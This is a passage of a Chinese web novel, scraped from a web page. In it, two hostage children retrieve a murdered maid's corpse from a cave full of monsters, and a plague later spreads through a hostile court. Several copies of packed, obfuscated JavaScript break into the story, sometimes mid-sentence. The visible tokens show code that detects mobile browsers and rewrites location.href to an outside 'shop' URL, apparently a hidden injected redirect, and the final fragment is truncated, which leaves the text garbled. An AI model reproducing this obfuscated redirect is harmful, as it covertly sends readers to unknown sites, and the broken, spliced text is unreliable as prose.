乔天璇原本以为穆耶颌今日心情不好,所以才火急火燎地来催促她出去搬砖,结果她和陈渊龙刚一跨出门槛,穆耶颌就让宫卫们把他们两人押出院门,押上了一辆马车。 乔天璇被身旁左右两个宫卫强行押着坐在了马车上的一个位置,惊慌失措道:“这是要带我们去哪儿?!” 坐在两人对面的穆耶颌脸色很不好看。 他阴森森道:“去哪儿?你们待会儿就知道了。小侍女,有些东西提前讲出来了可就没意思了。” “有什么事,都冲我来。”陈渊龙恶狠狠地盯着穆耶颌。 “行啊,那就看你有没有这个本事了。”穆耶颌把一条腿翘了起来搭在了另一条腿上,不屑地看着被两个宫卫一人一边押着的陈渊龙。 马车一开始还是缓慢行驶的,但在出了皇宫,远离了热闹繁华的街道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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没办法,乔天璇实在是不想再断一次腿了,只好壮着胆子和陈渊龙一起往山洞深处走去。 越往里走,山洞就越黑,乔天璇一只手的掌心中燃起了一缕灵火,勉强可以用来照明。 陈渊龙担心道:“这山洞似乎很深,你的灵力够用吗?” 乔天璇道:“够的。” “真的够?”陈渊龙满脸担忧。 乔天璇道:“昨日游街的时候我吃了不少菜叶子,还有萝卜、苹果、玉米什么的,虽然基本上只有半个或者只有几口,还要把烂的部分去掉,但比起之前一直只能吃到的馒头和稀饭要好多了,今日我一起身就觉得比往日要有力气。” “……” “对不起。”陈渊龙语气中满是自责。 “是啊,都怪你。”乔天璇埋怨地看了陈渊龙一眼。 两人继续小心翼翼地往前走着。 山洞顶上时不时就有一处窟窿,阳光会从窟窿照进山洞中。 两人在走到顶上有窟窿的地方时,乔天璇也能暂时不用耗费灵力燃起灵火来照明。 又往山洞深处走了一段路,两人见到洞道深处两边的洞壁上竟然画着壁画。 这些壁画中有好几处人物众多的地方都画了一道十分逼真的拱门,仿佛只要伸手去推,拱门立马就会被推开。 很快,山洞顶上没有了窟窿,乔天璇只好继续燃起了灵火照明。 山洞深处安静得可怕,只有两人的脚步声。 也不知何时才能看到小宫女的尸骨。 乔天璇心中的那份不安越来越强烈。 她能明显感觉到山洞中有不好的东西在深处盯着她和陈渊龙。 “……等等,前面那是什么?”陈渊龙忽然停住了脚步。 乔天璇也立刻停了下来。 没有符来作为媒介,乔天璇无法感知那不好的东西到底是什么。 “嘎咯嘎咯……嘎咯嘎咯……” 奇怪的声音从前方传来,令人不禁毛骨悚然。 84. 朔风之难(九) 乔天璇手中的灵火照不到前方那处奇怪声音传来的地方,不由得感到浑身一凉。 “退,太子殿下,我们先退一下。” “嗯。”陈渊龙毫不犹豫地和乔天璇一起往后退去。 然而,两人这一退似乎让石洞深处的东西发了怒。 那东西顿时朝着两人袭来,发出更加猛烈的“嘎咯”声,出现在了灵火的火光所能照到的范围内。 如此一来,乔天璇总算看清楚了那是什么东西。 是一只石头成精的怪物! 这石怪浑身呈灰黑色,没有脸,估计才刚修炼成精不久,还不会化人形,只有一团形状怪异的石头身子在拼命地往前挪动着。 可也正是因为如此,这石怪给人带来的怪异感觉简直令人毛骨悚然。 “快跑!”乔天璇慌忙往回跑,手中的灵火摇曳不断。 陈渊龙虽然也跟着乔天璇一起跑,但他还是担忧道:“要是没有带着小宫女的尸骨出洞,穆耶颌会打断我们的腿的!” 乔天璇绝望道:“那……还能怎么办?” 乔天璇瞟到了壁画上画着的那些逼真的拱门,忽地跑近了去,试着伸手用力推了一下其中的一道拱门。 “吱嘎……” 拱门居然真的被陈渊龙给推开了。 乔天璇心中一惊。 这到底是个什么地方?洞壁上看似画得逼真的拱门居然就是真的拱门?! 拱门后面又是一条洞道。 只不过没有火光的照明,一眼望去黑黝黝的。 想到前有断腿的惩罚,后有来势汹汹的石怪,乔天璇抱着险中求生的念头,立马赶到了陈渊龙的身旁,让手中灵火的火光照亮了这道拱门后的洞道,极力冷静道:“走,我们进这条洞道躲那石怪。” “好。”陈渊龙当即和乔天璇一起跑进了这道拱门后的洞道。 这条洞道两旁的洞壁虽然没有壁画,但到处都是已经干成了褐色的血印子,以及一些白森森的人骨,看得乔天璇心惊胆战。 这些人骨的姿态大多惊恐无比,骷颅头大张着嘴巴,四肢扭曲挣扎。但也有少数人骨的姿态和表情非常安详,像是在生前最后的时刻安静地等死一般。 约莫跑了三十尺的距离,两人跑出了洞道的尽头,此刻已然身处在一间石室里。 石怪还在后面穷追不舍,发出凶猛且吓人的声音。 乔天璇用灵火四下照了照这间石室,发现这分明就是一间墓室,正中间摆着一口棺材,墓室的四个角落里都摆着一些陪葬品,有的是金银器,有的是青铜器,全都十分精美。 那口棺材不知是怎么的,棺盖虽然还覆在上面,但已经被打开了一半,里面的尸体不翼而飞,只剩下一些白白的粉末铺在棺材中。 “走,我们躲到那口棺材里去。”陈渊龙拉起乔天璇的手,直奔那口棺材。 乔天璇心中又惊又怕,可后面有越逼越近的石怪,她实在是没辙了,只能壮着胆子跟陈渊龙一起冲向了那口棺材,一前一后挤进了进去。 “嘎咯嘎咯嘎咯嘎咯……” “砰!” “咚咚……” “嘎咯嘎咯……嘎咯!” 听声音,石怪似乎在烦躁地踢开洞道中那些挡路的人骨。 它也快要走进这间墓室了。 乔天璇赶紧熄灭了手中的灵火,与陈渊龙齐心协力把被打开了一半的棺盖给盖上了。 一口棺材躺两个人着实是挤了些。不过好在两人现在都是孩子,又由于长期吃不饱,身形瘦小,一上一下面对面躺着刚好能躺得下。 乔天璇趴在平躺在棺材中的陈渊龙怀中,大气都不敢出。 石怪踢开了所有挡路的人骨,终于走进了墓室中。 听着棺材外面的声音,乔天璇估计那石怪发现自己方才追着的两个人忽然不见了,在墓室中绕了好几圈,丝毫没有要走的意思。 “嘎咯嘎咯……嘎咯嘎咯……” 石怪身上传出的声音时不时便会响起,让藏在棺材里的两人一时半会儿不知该如何是好。 两人不可能永远躲在这个棺材里不出来了,但石怪要是不离开,他们也不可能开棺出去送死。 乔天璇心急如焚。 棺材里太闷了,她感觉要是再不出去透透气,怕是很快会被活活闷死在这里面。 无措之中,乔天璇两只手在棺材中到处摸了摸,察觉到这棺材的棺壁上凹凸不平的,应该是刻了些纹路。 被乔天璇压在下面的陈渊龙尽量一动也不动,极力忍着急促的呼吸声。 两人都不敢说话,生怕被外面的石怪给听到了之后立马过来掀了棺盖。 这一刻,乔天璇感觉时间似乎过了很久很久,仿佛有一辈子那么长。 就在乔天璇焦急之时,她不知自己是在黑暗中瞎摸到了棺材壁中的哪处地方,只听棺材内发出“嘎啦”一声响,随后她便忽觉下方一空,与陈渊龙先后掉到了另一处漆黑一片的地方。 “哎哟……嘶……”乔天璇揉着自己被摔疼了的后背,忍不住唤出了声。 陈渊龙疼得闷哼一声,不安道:“这是哪儿?” 乔天璇赶忙在手心中燃起了一缕灵火,照了照两人现在所处的地方。 此地三面都是灰黑色的石壁,只有一面是一道往上而去的石梯。而上方正是那口棺材的底部,棺材中那些白色粉末随着两人的跌落而落到了这处地方的地面,铺了白花花的一片。 “走,出口应该就在石梯上面。”陈渊龙拉着乔天璇手步向了眼前的那道石梯。 乔天璇提心吊胆地走着。 石梯并不好走,有些陡峭,石梯两旁的石壁上画着一些凶神恶煞怒目圆瞪的恶鬼,看得乔天璇惶惶不安。 好在走石梯时并没有出什么幺蛾子。 但乔天璇还是被吓出了一身冷汗。 好不容易走完了石梯后,两人来到了一处平台上。 乔天璇回头看了看,见方才两人走过的石梯看起来简直深不见底,灵火照不到的漆黑处仿佛藏着什么可怕的东西。 要不是两人刚刚就是从这底下走上来的,清楚这下面的确什么也没有,乔天璇心觉自己可真是要被鬼地方给活活吓死了。 转回了头,乔天璇跟着陈渊龙在平台上往前走了十几步,看到平台前方又是一条黑黝黝的洞道。 此处也没有别的路可走了,两人只能硬着头皮往洞道中走。 这条洞道倒是干净,两旁的洞壁既没有壁画也没有血印子。 乔天璇走得稍微安心了一些。 不知究竟走了多久,洞道终于走到了尽头。 出了洞道,两人来到了一处似是溶洞的地方。 此处淌着一条清澈的河流,乔天璇搞不清这地方究竟是在地上还是在地下,更不知眼前的这条河流算不算是地下河。 “现在该怎么走?”乔天璇不知所措地望了望四周。 借着灵火的火光,陈渊龙来到河流旁观察了一下河水。 片刻后,陈渊龙转身面向了乔天璇,道:“跟我走,出口应该是我猜测的那个方向。” 乔天璇疑惑道:“你怎么猜的?” 陈渊龙道:“河水往哪个方向流,就往反方向走。反方向是水源处,也就是上游,即使出不到地面上,也不会去到水流所流向的地底下。” “明白了,我们试试运气吧。”乔天璇心中有了底。 陈渊龙重新拉起了乔天璇的手,沿着河,往可能有生的希望的方走去。 水流声渐渐变大了,河流也越来越宽,乔天璇不由得担心道:“再往前的路会不会都会被河流给代替?” 陈渊龙镇定道:“先走,要是真是如此再想办法。” “哦。”乔天璇的心又悬了起来。 不多时,前方的路就如乔天璇所想那样,所有的路都被河流代替。 好在河水很浅,水面上立着不少大石块,如果走得小心一些,完全可以从这些大石块上通行。 事已至此,有灵火在手照明的乔天璇只得壮着胆子打头阵开路。 脚下的大石块有的很稳,有的不稳,乔天璇小心到了极点,每踏上前方的一块大石块都要犹豫再三,落脚时试探了一遍又一遍。 “天璇,不怕,慢慢来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262902|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈渊龙在乔天璇身后耐心地鼓励着。 “好……”乔天璇气都不敢乱放,生怕失足落入冰冷的河水中。 水中游着一些小鱼小虾,它们的身子几乎透明。特别是小鱼,身子内的脏器清晰可见。 小鱼小虾游得极快,乔天璇发现每当自己踏上前方的大石块时,水中的小鱼小虾就会忽地集中到那块大石块旁,一次又一次以头撞击着大石块。 乔天璇看得满头雾水。 一般来说,水中的鱼虾在感觉到动静之后不都应该是马上警惕地远离的吗? 想到这里,乔天璇心中忽然有了一个不禁让自己遍体生寒的猜想。 待到两人好不然容易踩着大石块过完了河,乔天璇在踩到平地上时终于忍不住抬头望向了河流的上方。 霎时间,乔天璇感觉自己的呼吸都要停止了。 河流上方全都是被藤条给缠起来了的各种各样动物的尸体。 当然,人的尸体也有,并且已经高度腐烂了。 有一些已经腐烂到了极致的尸体被藤条缠得松松垮垮,看起来要掉不掉的样子。 想起方才水中鱼虾的表现,乔天璇估摸着河流顶上的这些尸体只要一掉入下方的河水中,鱼虾便会蜂拥而上。 对于这条河里的鱼虾来说,水中有动静了就代表着有食物吃了,它们自然不会躲,反而会拼命往有动静的地方赶。 “走,我们赶紧离开这里。”乔天璇瞧见顶上缠着尸体的藤条是会像蛇一样慢慢挪动的,指不定什么时候就会突然从顶上垂下来一条藤条,把她和陈渊龙给卷上去死死缠住,让他们在腐烂之后变成水中鱼虾的食物。 刚刚两人踩着大石块过河时没被顶上的藤条给缠上去,想来应该是因为现在是冬天,藤条处在类似冬眠的状态中。待到人都已经过完河了,处在类似冬眠状态中的藤条才后知后觉反应过来。 “走。”陈渊龙点了点头,赶忙拉紧乔天璇手,快步往前方平稳的石地走去。 两人离开了河流,很快就来到了一处诡异的石洞中。 这石洞的洞壁上随处可见蠕动着的“眼睛”,看得乔天璇浑身鸡皮疙瘩都起来了。 陈渊龙紧握着乔天璇的手也在不由自主地发抖,乔天璇知道陈渊龙心中也很害怕这些在洞壁上不断蠕动着的“眼睛”。 “这些是眼睛虫吗?好恶心,太恶心了。它们怎么会在这里?这里为什么会有它们?真是令人反胃,它们长得实在是太难看了……” 乔天璇怕极了,却是忍不住地想要说话。 陈渊龙暗暗道:“嘘,也许它们不喜欢人说话的声音。” “嗯。”乔天璇清楚自己是因为太害怕了,所以才会说很多的话来壮胆。 但陈渊龙所说不无道理,乔天璇努力不让自己再说话,紧紧回握住了陈渊龙的手,给自己用另一种方式壮胆。 两人尽量不发出脚步声地前行着。 谁也不知道这些石壁上蠕动着的“眼睛”会不会突然攻击人。 就在两人即将走出石壁上有蠕动着的“眼睛”的这处地方时,那些“眼睛”像是齐齐感觉到了什么似的,忽地全都朝着两人奔来。 密密麻麻快速蠕动着的“眼睛”顿时让乔天璇惊恐地瞪大了双眼。 “不好,跑!”陈渊龙赶忙拉着乔天璇往前方没有“眼睛”的洞道中跑去。 “滚!死眼睛快滚!滚滚滚滚滚!!!”乔天璇被吓得魂都要丢了。 惊恐中,她将手中的灵火一把扔向了后方那些朝着她和陈渊龙不顾一切地蠕动而来的“眼睛”。 “哗——” 灵火一下子就烧了起来。 “眼睛”实在是过于密集,一只“眼睛”接着一只“眼睛”烧着,顷刻就让此地化作了一片火海。 “吱吱吱……吱吱吱吱吱吱!!!” “眼睛”们被灵火烧得原地翻滚,发出了它们那类似于鼠类的惨叫声。 大片大片的“眼睛”纷纷往后方河流的方向如退潮般退去。 乔天璇惊魂未定地喘息着,手中重新燃起一缕灵火照明,与陈渊龙头也不回地往前方的洞道狂奔。 85. 朔风之难(十) 洞道七拐八拐,乔天璇根本顾不得去记她和陈渊龙到底行过了多少个拐角。 好在拐着拐着洞道就逐渐开始变直了,两人也不必再拐来拐去地前行。 正当两人的脚步稍微慢下来了一些时,乔天璇忽然注意到前方的一处洞壁旁在灵火的火光所能照到的范围边缘处闪过了一道亮光。 “那是……”陈渊龙也注意到了那道闪亮的光。 “去看看。”乔天璇心觉那道亮光应该是宝石闪出来的光。 两人忐忑不安地走近了那处,乔天璇的心顿时猛地狂跳。 只见一具腐烂的女尸正躺在那里。 女尸的脖子上戴着一条缀着红宝石的珍珠项链。 方才两人看到的那道亮光正是从红宝石上闪出来的。 乔天璇道:“穆耶颌说过她杀的小宫女脖子上就戴着一条缀着红宝石的珍珠项链,看来这具女尸便是穆耶颌杀的那个小宫女了。” 陈渊龙道:“的确,我们把她抬出去吧。” 此时是冬日,女尸身上并没有生蛆,但她苍白且满是尸斑的脸还是令人不由得有些害怕。 陈渊龙抬着女尸的头,乔天璇抬着女尸的双脚,一起横着往洞道前方走去。 女尸看起来也就是个十六岁左右的少女,身形消瘦,并不是很沉。 乔天璇之前被迫在院子里搬砖,力气变大了不少,再加上女尸的双脚都很小巧,乔天璇一只手便能把女尸的双脚给握起来,完全能腾出另一只手燃着灵火照明。 陈渊龙从小练剑,力气自然也不小。 两人横抬着女尸,很快就发现走回到了最开始经过的那处两旁的墙壁上有壁画的洞道。 然而,就是在这儿,两人遇到了那个诡异吓人的石怪。 也不知石怪现在是否已经走出了那间墓室。 要是石怪走出来了,而且已经回到了这个洞道中,那情况可就不太妙了。 乔天璇大气都不敢出,走得小心翼翼,生怕惊扰到了石怪。 陈渊龙靠近的那一边石壁正有他与乔天璇最初慌不择路逃进去的那道拱门。 当两人再看向那道拱门时,竟然见到那道之前被打开的拱门现在已经关上了。 乔天璇心中不禁一寒。 该不会是石怪关上的吧? 可石怪并没有人那样灵活的手,又怎能关得上门? 难不成那是一道机关门?开到了一定的时间,自己就会关上? 乔天璇脑海中忍不住胡思乱想了起来。 如果这样来说的话,那两人方才在拱门后面的洞道里看到的那些尸骨岂不极有可能是之前来到此地的人在进去之后,拱门到了时间自动关上了,但拱门外面没有接应的人帮忙重新打开拱门,于是所有的人便被活活困死在了里面,一直到人全都死完? 若真是如此,那两人方才要是真的直接从棺材里出来也是走不出那间墓室的。因为拱门已经到了时间自己关上了,而石怪就会在满是尸骨的洞道里干掉出不去的他们。 “砰!砰!砰!砰!砰!” 自己关上了的拱门后面忽然传来猛烈的捶打声。 “是石怪,它被关在拱门后面了。”乔天璇立马确认了自己方才的猜想。 看来这些拱门的确就是机关门,专门用来困死盗墓贼,让盗墓贼盗墓不成反被陪葬于墓主人。 “这里实在是太邪门了,我们快走。”陈渊龙的声音有些发抖,应该是太害怕了。 “走。”乔天璇也不想再在这鬼地方多呆了,立马与陈渊龙抬着女尸加快了往前走的步伐。 乔天璇感觉自己从来都没走过这么长的一段路,在看到石洞上方时不时就会出现漏光的窟窿时,乔天璇意识到马上就能回到洞口了,心情也越来越激动。 一步一步又一步,乔天璇感觉自己抬着女尸的手都发酸了。 终于,前方亮起了来自洞口的光。 乔天璇熄灭了手中用来照明的灵火,强行坚持着与陈渊龙一起抬着女尸走出了洞口。 见状,守在洞口的几个宫卫连忙接过两人手中的女尸,其中一人对穆耶颌道:“太子殿下,他们带着尸骨出来了!” 穆耶颌慢慢悠悠地从马车上走了下来,在看到陈渊龙和乔天璇筋疲力尽气喘吁吁地从山洞中走出,被陈渊龙和乔天璇抬出来的女尸已由几个宫卫接管时,他脸上的神情却并不是很满意的样子。 “好慢啊你们,这小宫女有那么重吗?至于让你们搬那么久?都从早上搬到现在这会儿了!你们看,天边的晚霞都要出来了!” 听到穆耶颌的话,陈渊龙和乔天璇齐齐抬头往天边望去,见到了若隐若现的晚霞。 乔天璇劫后余生地感慨道:“原来我们在里面待了那么久了啊……” 穆耶颌不爽道:“是啊!等死我了!你们简直就是两个废物!” 陈渊龙暗暗怒道:“那里面很危险,我们差点连命都丢了。” “狗屁!我之前抛尸的时候哪里遇到过什么危险?那山洞里不就是黑了一点,有什么好怕的?!”穆耶颌恶狠狠地瞪了陈渊龙一眼,转身道:“走了,回宫,再不回去,天都要黑了!” “是!”宫卫们纷纷点头答应。 乔天璇正想反驳一下穆耶颌,但她立马就和陈渊龙一起被宫卫押到了马车上。 “我……呸!”乔天璇顿时什么都懒得说了,千言万语汇聚成了一声啐。 “呸什么?!”穆耶颌恶狠狠地瞪向了乔天璇。 “尸体太难闻了。”乔天璇眉头紧蹙,满脸嫌弃。 “死人能好闻到哪里去?无知。”穆耶颌不屑地转头不再看乔天璇,先一步上了马车。 “哼……”乔天璇咬牙切齿地看着穆耶颌的背影,恨不得让他当场死在原地。 陈渊龙对穆耶颌亦是满满的杀意,愤怒得呼吸都急促了不少。 回宫的马车上,乔天璇心想大概是穆耶颌来抛尸那会儿,山洞里的石怪还没成精,所以他没遇到什么危险。 真是便宜他了。 乔天璇是真想把穆耶颌给关进那个墓室中,让他好好感受一下什么叫作危险,好好体验一下什么叫作叫天天不应叫地地不灵。 约莫一个月后,清明节,与陈渊龙一起刚吃过早饭的乔天璇忽闻一阵离他们两人暂住的宫殿越来越近的笛声。 乔天璇烦闷道:“大清早的,到底是谁在宫里吹笛子?没人嫌吵吗?” 陈渊龙道:“不知。” 乔天璇猜测道:“听笛声距离我们这里越来越近了……该不会是来催我去搬砖的穆耶颌在吹吧?” 陈渊龙道:“或许是。” “啧,吹得还蛮好听的,就是嘹亮得烦人。”乔天璇撇了撇嘴,翻了个白眼。 陈渊龙道:“太大声了。” 乔天璇歪嘴一笑,道:“是啊,吵死了。” 片刻后,院门被人一脚踹开。 陈渊龙和乔天璇已经双双走到了院子里。 只见穆耶颌双手持着一只浅黄色的笛子,吹得正欢。 原来吹笛子的人真的是他啊…… 乔天璇忍不住又翻了一个白眼。 见到陈渊龙和乔天璇已经出了来,穆耶颌放下了笛子,乐道:“呀,你们知道出来欢迎我了啊?” 陈渊龙:“……” 乔天璇:“……” 穆耶颌大步走近了两人,转了转手中的笛子,道:“你们知道我手中这支笛子的来历吗?” “哼,谁知道。”乔天璇没声好气地说着。 “谁知道?我知道啊!你们看到这是一支浅黄色的笛子了吧?告诉你们,这是死人骨头的颜色,而且是美女的骨头!”穆耶颌得意洋洋地看着手中的笛子,激动道:“此乃骨笛,是用我那被你们从山洞里抬出来的小宫女的尸骨做成的呢,好看吧?” 闻言,乔天璇顿时回想起了不久前她和陈渊龙被穆耶颌强迫着去山洞里把穆耶颌抛尸的女尸给抬出来的事情。 “你用她的尸骨……做成了笛子,放在嘴边吹?”乔天璇惊愕地望向了穆耶颌手中的骨笛。 穆耶颌兴奋道:“怎么样?这样她就能永远留在我的身边了。我时不时还能和她的骨头亲吻。亲吻之时便是我与她一同奏起笛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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之后的日子里,白日的两人依旧一个人在院子里来来回回反反复复地搬砖,另一个人则被吊在树上,能不能早点下树和不挨打全凭搬砖的人能不能在酉时之前搬完砖,并且新堆好的砖得在穆耶颌的检查中过关。 可有时候就算乔天璇做到了穆耶颌的要求,陈渊龙仍旧会被突如其来的穆泽和穆昌联合穆耶颌一起随便找个理由踢打他一顿。 只不过没有之前揍得那么狠而已。 对此,乔天璇没有任何办法。 她自知肯定是斗不过朔风国皇子三兄弟的,上前劝架的事情想都别想。 而陈渊龙身为质子,自然不能还手,只能任由朔风国皇子三兄弟打他。 令乔天璇印象最深刻的一次是穆耶颌刚说完乔天璇过关了,让宫卫把被吊在树上的陈渊龙放下树,穆泽和穆昌便怒气冲冲地闯进了院子里,一人拉着穆耶颌的一只手走到还没被放下树的陈渊龙身前,说就是因为陈渊龙,今日他俩在一起打罚一个宫女时不小心把宫女给活活打死了。 随后,穆泽和穆昌对着陈渊龙就是一顿打,把他俩失手打死人的原因归为了陈渊龙让他俩分了心,这才让他俩打人时一不小心下重了手。 至于穆耶颌,他毫不犹豫地加入了进去,和两个弟弟一起打陈渊龙,怪陈渊龙晦气,影响到了他的两个弟弟。 乔天璇有气无力地在一旁看着,双眸都失去了高光。 她已经搬了一天的砖了,早已身心疲惫。 晚上,乔天璇给陈渊龙用灵力治疗伤口时,陈渊龙不出乔天璇所料地对乔天璇道了歉。 “对不起,天璇,让你一天白干了。” “知道了。”乔天璇虽然明白陈渊龙是在心疼她搬了一天的砖,到头来却还是让他挨了朔风国皇子三兄弟的揍,但乔天璇清楚,之所以会发生这样的事情,分明就是因为朔风国皇子三兄弟行事蛮不讲理。 可寄人篱下,受了苦就只能忍着。 “睡吧,睡觉的时候伤口会愈合得快一些。”乔天璇躺到了榻上,看到窗外天上的星星很亮。 “嗯,好。”陈渊龙的声音在乔天璇的耳边轻轻响起。 86. 瘟疫袭来(一) 在陈渊龙和乔天璇得知朔风国闹瘟疫的消息时,朔风国的瘟疫早已蔓延整个朔风国久矣。 至于两人是如何得知这个消息的,那还得归功于穆耶颌突然有一天不来两人暂住在朔风国的宫殿让乔天璇搬砖了。 “怎么回事?今日朔风国太子为何没来?”乔天璇在拿晚饭时跟来送饭的宫女问了一嘴。 宫女无奈地摇了摇头,道:“国内瘟疫肆虐久矣,太子殿下也不慎染上了瘟疫。” “瘟疫?很严重吗?”乔天璇心中顿时不安了起来。 宫女点头道:“很严重啊。这个疫病就像是能隔空传染一样,那些即使是在宫中待了三年,甚至是更久时间没出过宫去的宫女和侍卫都有感染的。” “隔空传染?这么严重,那这疫病能治吗?”乔天璇心中一寒。 宫女遗憾道:“太医暂时也没办法治。” 乔天璇惊道:“太医都没办法了?” 宫女道:“是啊,另外两个皇子也感染了疫病,还有皇上、皇后、太后、所有的嫔妃,几乎整个皇室都感染了。要是太医能治,皇室所有的人肯定会被治好,但偏偏就是毫无医治办法。” 乔天璇疑惑道:“那你怎么没被传染?” 宫女左脸颊上的肉忽然抽搐了一下,为难道:“不知道啊,宫中没被感染的基本上都是最低等的宫女。” “这样啊,多谢。愿你之后也不受疫病所扰,身子康健。”乔天璇对来送饭的宫女感激地点了点头。 看来给自己和陈渊龙送饭的宫女便是朔风国皇宫中最低等的宫女了。 不过这也不奇怪,毕竟她和陈渊龙就是被当作犯人来对待的,自然也会让最低等的宫女来给他们两人送牢饭。 “……好。你也是。”宫女有些意外眼前的质子侍女居然会祝福自己,转身离开时走得步子都有些不稳了。 乔天璇端着晚饭回了房,放到了桌子上。 陈渊龙今日难得没被吊在树上,他在院子里练了一天的武功,现在正坐在榻上休息。见到乔天璇把晚饭端来了,他立马下榻来吃晚饭。 乔天璇神神秘秘道:“太子殿下,你知道吗?我刚刚和来送饭的宫女聊了一会儿,她说穆耶颌今日没来是因为他染上了疫病。” 陈渊龙拿起馒头的手忽地停住,疑惑道:“疫病?” 乔天璇认真道:“来送饭的宫女说朔风国瘟疫肆虐久矣,这个疫病就像是能隔空传染一样,那些即使是在宫中待了三年,甚至是更久时间都没出过宫去的宫女和侍卫都有感染的。还有,朔风国的整个皇室都染上了瘟疫,反而是宫中最低等的宫女没有感染。” 陈渊龙沉默了片刻,怀疑道:“难不成这疫病是通过食物传染的?” 正在喝稀饭的乔天璇当即顿住了喝稀饭的动作,睁圆了双眼,目光直指陈渊龙。 “没事,你我的吃食许是不会有问题。”陈渊龙看向了乔天璇,道:“染病的人怕是吃了山珍海味才会染上病。” 乔天璇放下了还未喝完的稀饭,不解道:“那宫女和侍卫能吃得到山珍海味吗?” 陈渊龙道:“主子吃不完的饭菜会赏给下面的人,宫女和侍卫应该是吃了主人没吃完的山珍海味才染的病。” “有道理。”乔天璇回想起当年淮南乔氏的家规中就有这样的规矩。 主子给下人赏赐吃食,那对下人来说便是无上的荣耀。 乔天璇忽地凑到了陈渊龙的耳边,小声道:“你说这个朔风国有没有这个可能因为这场瘟疫亡国?那个送饭的宫女跟我说他们的太医都对这次的疫病毫无办法呢。” 闻言,陈渊龙似是突然来了精神,不禁浑身一颤。 凑在陈渊龙耳边的乔天璇感受到了陈渊龙的颤抖,轻笑道:“怎么?太子殿下很激动?” 陈渊龙缓缓转头看向了近在咫尺的乔天璇,轻声道:“天璇,你与我在朔风国一起受了两年的苦,是我对不住你。若是因此事致朔风国亡,我便带你一起回宫,让你当我的太子妃,享尽荣华富贵。” 这次轮到了乔天璇浑身一颤。 她慌忙离远了陈渊龙一些,道:“太子殿下,你的父皇宠爱你二弟的母亲,还将其立为了新的皇后。你在宫中不受重视,在来朔风国之前就总是挨新皇后的打,遍体鳞伤。你要我当你的太子妃,岂不等同于让我跳进了火坑中去?” “我……” “……” 陈渊龙一时语塞。 乔天璇说得并不夸张,陈渊龙的处境的确如此。 “对不起,是我考虑不周了。”陈渊龙转回了头,垂下双眸。 乔天璇赶忙拿起碗继续喝剩下还未喝完的稀饭。 两人继续吃着晚饭,无一人再发话。 夜里,乔天璇想着瘟疫的事情,望着窗外的漫天繁星,忍不住自言自语:“就算朔风国因此事亡国了,那我们出逃的时候会不会也不慎染上瘟疫?或许……只能一直不吃东西,还要一直逃?太难了吧,我们又不是神仙,哪儿能不吃东西还有力气逃命?嗯……神仙,唉……要是真的有神仙突然降临来救我们就好了。最好能在离开朔风国后去到一个世外桃源中快快乐乐无忧无虑地生活。在世外桃源里,我什么都不用担心,每天都能自由自在地玩儿,神仙还会大发慈悲地教我仙法,让我变得无所不能。神仙啊……神仙……想要神仙……神仙……神仙……” 陈渊龙侧躺在乔天璇的身旁,静静地看着平躺着的乔天璇自言自语。他一言不发,眼底泛起若有若无的笑意。 接下来的日子,穆耶颌依旧没来。 两人似乎又回到了初到朔风国的那段日子,乔天璇不必去搬砖,陈渊龙不会被吊在树上。 乔天璇每回都会跟来送饭的宫女祝福一句“身子康健”,而来送饭的宫女也会回一句“身子康健”。如此一来一往,最近这些时日乔天璇倒是与已经来给她与陈渊龙送了两年饭的宫女关系处得不错了。 这日一早,来送饭的宫女便主动对乔天璇说了皇后、太后、穆耶颌、穆昌都因病归西了的事情。 “你有没有想过逃?”乔天璇试探着问宫女。 宫女苦笑道:“逃?我能逃到哪里去?现在整个朔风国已经因为瘟疫死了无数的人,皇宫中虽然也是瘟疫肆虐,但相对来说却已经是最安全的地方了。” 乔天璇思索道:“也就是说……疫病害死了朔风国无数富有和稍微富有的人。” 宫女疑惑道:“你为何会这样想?” 乔天璇道:“你之前不是说过宫里没被感染的基本上都是最低等的宫女吗?那想必宫外的情况也是一样的,得了疫病的都是富有和稍微富有的人,反倒是底层人勉强存活着。” “……有道理。”宫女恍然大悟。 乔天璇道:“先不说了,你也去忙你的吧。” “好。”宫女点了点头,转身离了去。 乔天璇心中暗喜。 穆耶颌、穆昌,你们终于死了啊。 也不知疫病给他们带来了多大的痛苦,但他们好歹是终于被病痛给折磨死了。 接下来,特别该死的人还剩一个穆泽。 还有朔风国其余的所有皇室中人,尤其是朔风国的皇帝,他最该死。 要不是朔风国的皇帝要陈渊龙到他们国家当质子,她也不会被陈渊龙收为他的贴身侍女陪他一起来朔风国受苦受难。陈渊龙的后背亦不会永久地留下了一个焦黑色的代表着耻辱的烙印。 深夜,乔天璇突然被从院子里传来的声音给惊醒了过来。 “醒了?”陈渊龙的声音在身旁轻轻响起。 “你也醒了?院子里有人?”乔天璇悄声问身旁的陈渊龙。 陈渊龙低声道:“嗯,有。” 躺在榻上的两人一动不敢动,生怕惊动了院子里的人。 乔天璇听得清清楚楚,那人从石井里打了一桶水上来喝,似乎渴极了,喝得“咕嘟咕嘟”响。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 